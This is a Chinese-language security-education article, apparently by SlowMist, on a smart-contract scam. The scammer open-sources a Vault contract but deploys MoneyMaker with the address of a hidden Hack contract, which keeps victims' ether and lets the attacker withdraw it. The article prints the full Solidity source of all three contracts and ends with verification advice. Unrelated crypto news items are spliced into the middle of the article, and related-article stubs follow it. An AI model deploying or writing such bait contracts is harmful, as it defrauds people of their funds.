概述
上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。
前置知識
大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:
用戶以為的調用路徑:
部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。
實際的調用路徑:
部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。
下面我們使用一個簡單的例子來分析這個騙局:
惡意代碼
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker { Vault vault; constructor(address _vault) { vault = Vault(payable(_vault)); } function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!"); uint256 amount = msg.value * 2; (bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed"); vault.transfer(recipient, amount); }}contract Vault { address private maker; address private owner; uint256 transferGasLimit; constructor() payable { owner = msg.sender; transferGasLimit = 2300; } modifier OnlyMaker() { require(msg.sender == maker, "Not MoneyMaker contract!"); _; } modifier OnlyOwner() { require(msg.sender == owner, "Not owner!"); _; } function setMacker(address _maker) public OnlyOwner { maker = _maker; } function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~"); (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); } function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}// This code is hidden in a separate filecontract Hack { event taunt(string message); address private evil; constructor(address _evil) { evil = _evil; } modifier OnlyEvil() { require(msg.sender == evil, "What are you doing?"); _; } function transfer() public payable { emit taunt("Haha, your ether is mine!"); } function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}騙局分析
Hamster宣布智能合約Gas分析工具正式上線:4月25消息,一站式Web3.0安全開發環境及中間件引擎Hamster自研的智能合約代碼分析工具正式上線。據悉,該工具可向Web3.0數以十萬計的智能合約提供合約Gas消耗情況分析,能大幅提高合約運行效率,緩解以太坊網絡堵塞情況。此外,Hamster將自動創建模擬鏈并生成Gas費消耗報告,讓開發者更好地了解自己合約在以太坊網絡中的消耗情況。通過結果分析,開發者還可以發現合約中的潛在問題,如:循環操作次數過多;過量的存儲操作與計算操作;不必要的外部調用及復雜性設計等。能進一步優化合約的性能和可靠性,降低運行成本。[2023/4/25 14:25:06]
可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:
MoneyMaker 合約代表 A 合約;
Vault 合約代表 B 合約;
Hack 合約代表 C 合約。
所以用戶以為的調用路徑為:
MoneyMaker -> Vault。
而實際的調用路徑為:
MoneyMaker -> Hack。
下面我們來看看攻擊者如何完成騙局的:
1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;
Open Zeppelin發布智能合約庫Cairov0.2.0,改進了可擴展性模式:7月6日消息,區塊鏈安全公司Open Zeppelin發布為StarkNet編寫的智能合約庫Cairov0.2.0,該版本利用Cairo命名空間迭代了可擴展性模式;實施了與以太坊兼容賬戶合約的第一個版本;附帶了安全訪問和權限管理的基本構建塊Access Control庫;增加免受重入攻擊的實用程序Reentrancy Guard等。[2022/7/6 1:54:22]
2. Evil 部署 Hack(C) 惡意合約;
3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;
4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;
5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。
上汽通用五菱區塊鏈智能合約平臺上線:10月25日消息,上汽通用五菱區塊鏈智能合約平臺正式上線。區塊鏈智能合約平臺可應用于物料收貨、退貨、對賬、差異調整業務場景,實現電子簽單及單據電子化管理。未來區塊鏈智能合約平臺還將對接業務執行系統,實現交易流程便捷化,助力公司數字化轉型。[2021/10/25 20:55:37]
咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。
預防建議
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。
慢霧科技
個人專欄
閱讀更多
金色薦讀
金色財經 善歐巴
OKEx CEO JayHao:OKChain支持訂單簿和Swap模型的DEX,兼容以太坊智能合約:9月12日,OKEx CEO Jay Hao在微博透露,OKChain將同時支持訂單簿和Swap模型的DEX,兼容以太坊智能合約。
據了解,OKChain測試網已升級至v0.11.1版本,增添了支持OpenDEX-Desktop v0.0.2的核心功能。[2020/9/12]
迪新財訊
Chainlink預言機
區塊律動BlockBeats
白話區塊鏈
金色早8點
Odaily星球日報
MarsBit
Arcane Labs
Incognito推出為以太坊智能合約提供隱私保護的pEthereum項目:加密貨幣隱私解決方案提供商Incognito公開pEthereum項目,這是一個為以太坊智能合約提供隱私保護的基礎設施,所有交易將會通過零知識證明加密,從而允許用戶保留隱私。pEthereum的核心概念包括跨鏈指令、去信任方式連接以太坊和Incognito的雙向橋接工具、以太坊中的“經紀人”智能合約、以太坊中的去中心化應用(dApp)、以太坊中dApp的的隱私保護版本pApp。
Incognito還計劃在5月推出具有隱私保護的Kyber和0x,然后在6月推出具有隱私保護的Compound和Uniswap。[2020/4/27]
作者:Tharm Lertviwatkul ,nansen?目前信標鏈上有 1930 萬個 ETH(包括獎勵).
1900/1/1 0:00:00近日,Facebook的母公司Meta發布研究報告《元宇宙及其對美國的潛力》(The Metaverse and its Potential for the United States).
1900/1/1 0:00:00無論是資產跨鏈還是信息/數據跨鏈,目前市場上已有太多的跨鏈橋及各類跨鏈協議,據 chainspot,目前市場上約有 114 個跨鏈橋及 130 余個網絡,賽道擁擠.
1900/1/1 0:00:00Bitcoin應該只作為數字黃金使用,還是應該實現更加復雜的功能呢?Ordinal NFT的出現激起了大家對bitcoin的新一輪關注.
1900/1/1 0:00:00作者:ardizor,加密KOL;翻譯:金色財經0xxz空投成就了百萬富翁,但高昂的鏈上費用卻讓一些人望而卻步。我整理出了13個零成本潛在空投項目。千萬不要錯過.
1900/1/1 0:00:00作者:RICHARD SMITH任何與 ChatGPT 交互過的人都會心里出現這個令人不安的問題:“這個東西是人類還是機器?”從本質上講,這個問題是圖靈測試期待已久的失敗.
1900/1/1 0:00:00